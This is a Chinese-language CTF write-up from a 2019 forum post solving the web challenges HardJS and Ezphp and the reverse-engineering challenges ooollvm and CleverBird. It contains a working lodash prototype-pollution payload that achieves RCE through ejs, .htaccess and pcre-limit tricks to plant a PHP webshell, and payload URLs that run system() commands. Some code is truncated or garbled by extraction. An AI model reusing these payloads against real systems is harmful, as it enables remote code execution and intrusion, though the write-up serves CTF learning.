wywwzjj / 2019-08-27 08:56:00 / 浏览数 4561 安全技术 CTF 顶(1) 踩(0)

WEB

HardJS

首先先看代码,稍微浏览一遍看看有什么奇怪的逻辑,一眼就能看出lodash.deepAssign很奇怪。但lodash一般来说不会有啥漏洞出现,因此npm audit一下看看是不是有洞。



于是,原型链污染get: https://nodesecurity.io/advisories/1065

那污染之后我们能干啥呢?那当然是RCE了。搜索了一下eval没搜到,那看看还有谁有动态拼接代码的就行了。这里用到了一个模板引擎ejs,它肯定有代码拼接;直接去看6

随便划拉一下屏幕就发现了一大堆源码拼接,从中随便挑一个可以被污染的变量就好了。先看看哪些可能可以操作的,找找大量的xxx.yyy = xxx.yyy || DEFAULT聚集的地方:

```
options.client = opts.client || false;
options.escapeFunction = opts.escape || opts.escapeFunction || utils.escapeXML;
options.compileDebug = opts.compileDebug !== false;
options.debug = !!opts.debug;
options.filename = opts.filename;
options.openDelimiter = opts.openDelimiter || exports.openDelimiter || _DEFAULT_OPEN_DELIMITER;
options.closeDelimiter = opts.closeDelimiter || exports.closeDelimiter || _DEFAULT_CLOSE_DELIMITER;
options.delimiter = opts.delimiter || exports.delimiter || _DEFAULT_DELIMITER;
options.strict = opts.strict || false;
options.context = opts.context;
options.cache = opts.cache || false;
options.rmWhitespace = opts.rmWhitespace;
options.root = opts.root;
options.outputFunctionName = opts.outputFunctionName;
options.localsName = opts.localsName || exports.localsName || _DEFAULT_LOCALS_NAME;
options.views = opts.views;
options.async = opts.async;
```

这些全都是可以通过原型链污染控制的,因此再随便翻翻代码找个自己喜欢的点就好。我觉得这个不错:

```
var escapeFn = opts.escapeFunction;
// .....

if (opts.client) {
    src = 'escapeFn = escapeFn || ' + escapeFn.toString() + ';' + '\n' + src;
    if (opts.compileDebug) {
        src = 'rethrow = rethrow || ' + rethrow.toString() + ';' + '\n' + src;
    }
}
```

```
构造完以后再回头去看题目代码(?顺序不太对吧),组合一下利用链。所以直接打五次后访问首页即可get flag:
POST /add HTTP/1.1
Content-Length: 156
Accept: */*
DNT: 1
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/76.0.3809.100 Safari
Content-Type: application/json
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ja;q=0.7
x-forwarded-for: 127.0.0.1'
Connection: close
{"type":"wiki", "content": {"constructor": {"prototype": {"client": true, "escapeFunction": "1; return process.env.FLAG", "debug":
Ezphp
题目源码
<?php
     $files = scandir('./');
     foreach($files as $file) {
             if(is_file($file)){
                     if ($file !== "index.php") {
                            unlink($file);
     include_once("fl3g.php");
     if(!isset($_GET['content']) | | !isset($_GET['filename'])) {
             highlight_file(__FILE__);
             die();
     $content = $_GET['content'];
     if(stristr($content,'on') | stristr($content,'html') | stristr($content,'type') | stristr($content,'flag') | stristr($content,'fl
             echo "Hacker";
             die();
     $filename = $_GET['filename'];
     if(preg_match("/[^a-z\.]/", \$filename) == 1) {
             echo "Hacker";
             die();
     $files = scandir('./');
     foreach($files as $file) {
             if(is file($file)){
                     if ($file !== "index.php") {
                            unlink($file);
             }
     file_put_contents($filename, $content . "\nJust one chance");
访问题目会立马删除同目录下除 index.php 以外的文件,传入的 $filename、$content 被过滤后再通过 file_put_contents 写文件。可以正常上传 php
后缀的文件,但没有解析。打算从.user.ini文件配置 auto_append_file,进行文件包含,但由于$content处过滤了file关键字。
对于这些过滤,最简单的办法就是编码绕过,结合这里的 file_put_contents , 不难想到 P牛之前发过的
谈一谈php://filter的妙用,也就是对文件内容编码后再利用 php 伪协议进行解码写入,可惜 filename
还有一层过滤,只能传入字母和点,伪协议就没法用了,那就继续绕 preg_match。
说来也巧, P牛还有一篇 PHP利用PCRE回溯次数限制绕过某些安全限制, 但这种绕过方式并不适合这题。沿着这思路继续看下 PHP手册, 发现
pcre.backtrack_limit 是 PHP_INI_ALL ,这意味着我们可以通过 .user.ini 对其进行修改。结合刚刚那篇文章,猜想这里的匹配
preg_match("/[^a-z\.]/)" 是不是也像这样[xxx]的进行回溯。
```

{"constructor": {"prototype": {"client": true, "escapeFunction": "1; return process.env.FLAG", "debug":true, "compileDebug": tru

对于这个payload,将client、escapeFn污染即可RCE。构造出来的长这样:

尝试 ini_set('pcre.backtrack_limit', 0),发现真能绕过preg_match,再结合php://filter,就可以在任意位置写入任意内容,并进行文件包含,本地成功打通。

一弄到比赛环境就不行了,这时候队里师傅说这种方式并不适用于 php7,检查了好一会也没发现为什么在 php7 中如此设置会失效,最后看到 php7 多了个配置选项 pcre.jit,且这个配置默认为 1,于是尝试将 pcre.jit 设置成 0,成功。

这总算做完了吧?结果到了题目环境依旧不行,或许是某些原因导致环境中.user.ini并没有被解析,这时候就只有只能覆盖.htaccess了,但由于上传的文件内容会被额外添加一句"\nJust one chance",.htaccess并没有.user.ini那么强的容错性,一旦格式错误就直接500了。在内容末尾加一个#aa\就可以突破这种限制。

基本流程就理清楚了:

首先上传一个.htaccess 绕过 preg_match, 再使用 php://filter把 auto_append_file 的配置写入,覆盖掉原先.htaccess,马儿就到手了。

附带 payload

http://19056a386796436a8c8d1f9694fe8aabcbc77c6f49714b43.changame.ichunqiu.com/?content=php_value%20pcre.backtrack_limit%200%0a

下面这个打两次

http://19056a386796436a8c8d1f9694fe8aabcbc77c6f49714b43.changame.ichunqiu.com/index.php?a=system(%27cat%20../../root/flag.t

Reverse

ooollvm

通过动态调试一步一步的调出flag

程序对每个字符的判断逻辑,只有这两种处理方式:(这是爆破符合条件的代码

```
for(i = 0;i < 256;i++){
  if(i*0x871f-(i*i*0x143-i*i*i) == 0x12c05d )
    putchar(i);
}</pre>
```

■■0x871f,0x143,0x12c05d■■■■■■■

```
for(i = 0;i < 256;i++){
  if(i*0x84e5-(i*i*320 -i*i*i) == 0x1256a6)
    putchar(i);
}</pre>
```

flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_llvm_pass} (flag 连蒙带猜的,还好单词没有被替换成数字啥的

这是我调试时写的代码,(很乱

```
#include <stdio.h>
int main(){
  int i;
   // for(i = 0; i < 256; i++) {
       // if(i*0x7a9a-(i*i*0x133-i*i*i) == 0x104e08)
           // putchar(i);
  // }
  // for(i = 0; i < 256; i++){
       // if(i*0x7b67-(i*i*0x134-i*i*i) == 0x1076f4)
           // putchar(i);
   // for(i = 0; i < 256; i++){
       // if(i*0x871f-(i*i*0x143-i*i*i) == 0x12c05d)
           // putchar(i);
   // for(i = 0;i < 256;i++){
       // if(i*0x97e5-(i*i*0x156-i*i*i) == 0x166ca4)
           // putchar(i);
   // for(i = 0;i < 256;i++){
```

```
// if(i*0x98d4-(i*i*0x157-i*i*i) == 0x16a460)
        // putchar(i);
// }
// for(i = 0; i < 256; i++) {
    // if(i*0x895c-(i*i*0x145-i*i*i) == 0x135420)
        // putchar(i);
// }
// for(i = 0;i < 256;i++){
    // if(i*0x888b-(i*i*0x144-i*i*i) == 0x132978)
        // putchar(i);
// }
// for(i = 0;i < 256;i++){
    // if(i*0x80cf-(i*i*0x13b-i*i*i) == 0x1180f5)
        // putchar(i);
// }
// for(i = 0; i < 256; i++){
    // if(i*0x80cf-(i*i*0x13b-i*i*i) == 0x1180f5)
        // putchar(i);
// }
// flag{this_is_
// for(i = 0;i < 256;i++){
    // if(i*0x7a3f-(i*i*0x133-i*i*i) == 0x102b8d)
        // putchar(i);
// }
// flag{this_is_a_
// for(i = 0; i < 256; i++) {
    // if(i*0x6b3f-(i*i*0x11f-i*i*i) == 0xd5ba1)
        // putchar(i);
// }
// for(i = 0; i < 256; i++) {
    // if(i*0x767f-(i*i*0x12e -i*i*i) == 0xf7792)
        // putchar(i);
// }
// flag{this_is_a_na
// for(i = 0;i < 256;i++){
    // if(i*0x7e95-(i*i*0x138 -i*i*i) == 0x11185e)
        // putchar(i);
// }
// flag{this_is_a_nai
// for(i = 0; i < 256; i++){
    // if(i*0x84e5-(i*i*320 -i*i*i) == 0x1256a6)
        // putchar(i);
// }
// flag{this_is_a_naiv
// for(i = 0; i < 256; i++){
    // if(i*0x8861-(i*i*0x144 -i*i*i) == 0x13183e)
        // putchar(i);
// }
// flag{this_is_a_naive_
// for(i = 0; i < 256; i++){
    // if(i*0x7fd3-(i*i*0x13a -i*i*i) == 0x1146b2)
        // putchar(i);
// }
// flag{this_is_a_naive_b
// for(i = 0; i < 256; i++){
    // if(i*0x7083-(i*i*0x126 -i*i*i) == 0xe5916)
        // putchar(i);
// }
// flag{this_is_a_naive_bu
// for(i = 0; i < 256; i++){
    // if(i*0x7c93-(i*i*0x136 -i*i*i) == 0x109ef6)
        // putchar(i);
// }
// flag{this_is_a_naive_but
// for(i = 0;i < 256;i++){
    // if(i*0x8e36-(i*i*0x14b -i*i*i) == 0x144b88)
        // putchar(i);
// for(i = 0; i < 256; i++){
```

```
// if(i*0x8b7b-(i*i*0x148 -i*i*i) == 0x13ac7c)
        // putchar(i);
// }
// flag{this_is_a_naive_but_
// for(i = 0; i < 256; i++) {
    // if(i*0x80c4-(i*i*0x13b -i*i*i) == 0x117ce0)
        // putchar(i);
// }
// flag{this_is_a_naive_but_h
// for(i = 0; i < 256; i++){
    // if(i*0x71ff-(i*i*0x128 -i*i*i) == 0xe9f98)
        // putchar(i);
// }
// flag{this_is_a_naive_but_ha
// for(i = 0;i < 256;i++){
    // if(i*0x80ea-(i*i*0x13b -i*i*i) == 0x118c50)
        // putchar(i);
// }
// flag{this_is_a_naive_but_har
// for(i = 0;i < 256;i++){
    // if(i*0x7d9e - (i*i*0x137 - i*i*i) == 0x10df88)
        // putchar(i);
// }
\label{limits_is_a_naive_but_hard} \ // \ \ flag\{this\_is\_a\_naive\_but\_hard
// for(i = 0;i < 256;i++){
    // if(i*0x7bf2 - (i*i*0x135 - i*i*i) == 0x108678)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_
// for(i = 0; i < 256; i++){
    // if(i*0x79a9 - (i*i*0x132 - i*i*i) == 0x101724)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_o
// for(i = 0; i < 256; i++){
    // if(i*0x780d -(i*i*0x130 -i*i*i) == 0xfc4c2)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_ob
// for(i = 0;i < 256;i++){
    // if(i*0x7dc4 - (i*i*0x137 - i*i*i) == 0x10ee34)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obf
// for(i = 0; i < 256; i++){
    // if(i*0x8274 - (i*i*0x13d - i*i*i) == 0x11d87c)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_
// for(i = 0; i < 256; i++){
    // if(i*0x7a6c - (i*i*0x133 - i*i*i) == 0x103c40)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_p
// for(i = 0; i < 256; i++){
    // if(i*0x7a6c - (i*i*0x133 - i*i*i) == 0x103c40)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_pr
// for(i = 0; i < 256; i++){
    // if(i*0x85be -(i*i*0x141 -i*i*i) == 0x128220)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_pro
// for(i = 0; i < 256; i++) {
    // if(i*0x93de -(i*i*0x151 -i*i*i) == 0x15a020)
        // putchar(i);
// flag{this_is_a_naive_but_hard_obfuscated_program
```

```
// for(i = 0;i < 256;i++){
    // if(i*0x8509 - (i*i*320 - i*i*i) == 0x12644a)
        // putchar(i);
// }
// for(i = 0; i < 256; i++) {
    // if(i*0x75bf - (i*i*0x12d - i*i*i) == 0xf5393)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_c
// for(i = 0; i < 256; i++){
    // if(i*0x7757 - (i*i*0x12f - i*i*i) == 0xfa479)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_co
// for(i = 0; i < 256; i++){
    // if(i*0x78db - (i*i*0x131 - i*i*i) == 0xfedf3)
        // putchar(i);
// }
// for(i = 0;i < 256;i++){
    // if(i*0x8457 - (i*i*0x13f - i*i*i) == 0x1246e9)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compi
// for(i = 0; i < 256; i++) {
    // if(i*0x8f83 - (i*i*0x14c - i*i*i) == 0x14ad50)
        // putchar(i);
// }
// for(i = 0; i < 256; i++) {
    // if(i*0x8a55 - (i*i*0x146 - i*i*i) == 0x138f30)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compile
// for(i = 0; i < 256; i++){
    // if(i*0x897c - (i*i*0x145 - i*i*i) == 0x136140)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled
// for(i = 0; i < 256; i++){
    // if(i*0x7c40 - (i*i*0x135 - i*i*i) == 0x10a4f0)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled_
// for(i = 0; i < 256; i++){
    // if(i*0x720b - (i*i*0x128 - i*i*i) == 0xea40c)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled_b
// for(i = 0; i < 256; i++){
    // if(i*0x6fc2 - (i*i*0x125 - i*i*i) == 0xe34b8)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_
// for(i = 0; i < 256; i++){
    // if(i*0x7f97 - (i*i*0x13a - i*i*i) == 0x11306e)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_llvm
// for(i = 0; i < 256; i++){
    // if(i*0x8807 - (i*i*0x144-i*i*i) == 0x12f174)
        // putchar(i);
// }
// for(i = 0; i < 256; i++){
    // if(i*0x867b - (i*i*0x142-i*i*i) == 0x12a502)
        // putchar(i);
// }
// flag{this_is_a_naive_but_hard_obfuscated_program_compiled_by_llvm_pas
// for(i = 0; i < 256; i++) {
    // if(i*0x81b3 - (i*i*0x13c-i*i*i) == 0x11b250)
        // putchar(i);
```

```
// }
       // for(i = 0; i < 256; i++) {
                 // if(i*0x77ff - (i*i*0x130-i*i*i) == 0xfbf90)
                           // putchar(i);
       // }
       for(i = 0; i < 256; i++){
                 if(i*0x8853 - (i*i*0x144-i*i*i) == 0x131050)
                           putchar(i);
       }
       puts("");
       return 0;
CleverBird
跳过游戏部分, 判断逻辑是这样,
# v19 += 8;
# ++idx_v17;
\# if ( v19 >= 32 )
ida\_chars = [0x16, 0xE4, 0xB3, 0xBD]
v11 = 0xA991E504
flag = ""
v11 = [0x04, 0xe5, 0x91, 0xa9]
for i in range(len(ida_chars)):
      flag += chr((ida_chars[i] ^ (v11[i])) + 0x30)
       print(flag)
flag 前 4 个: flag{B1RD.....
if ( v12 ) {
       v16 = &v37;
       while ( 1 ) {
                v17 = *v16++;
                 if ( v17 != v12 % 2 + 48 )
                           break;
                 v12 /= 2;
                 if ( !v12 )
                           goto LABEL_20;
       }
}
只要知道 v12 是多少就行了, v12 是我们的 score, 爆破就好了。最后脚本:
#include<stdio.h>
#include<string.h>
int main(){
       int win_count;
       for(win_count = 1;win_count != 0xffffffff;win_count++){
                 float t = ((float)win_count)*0.5;
                 int bvisible = *(int*)(&t);
                 t = (float)win_count;
                 int dwCursorPosition = 0x5F3759DF-((*(int*)(&t))>>1);
                 int res = (int)
                                       ( \ (((((((1.5-((*(float*)(\&dwCursorPosition)))*(*((float*)\&bvisible)))*(*((float*)(\&dwCursorPosition)))*(*((float*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(Loat*)(L
                                                * 100000000.0) * 10.0) + 5.0) / 10.0)
                                                        );
                 if(res == 0x436AE){
                           printf("find! res is %d\n",win_count);
                           break;
                 }
       }
```

```
return 0;
```

最后的 v12 = 0x20002 , flag 为 flag{B1RD01000000000000001}

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1. 2条回复



<u>imti****</u> 2019-08-29 10:13:26

wtcl,原型链污染看不懂

0 回复Ta



南溟 2019-08-30 12:04:19

wtcl,请问ezphp的<<有什么作用吗Orz。

0 回复Ta

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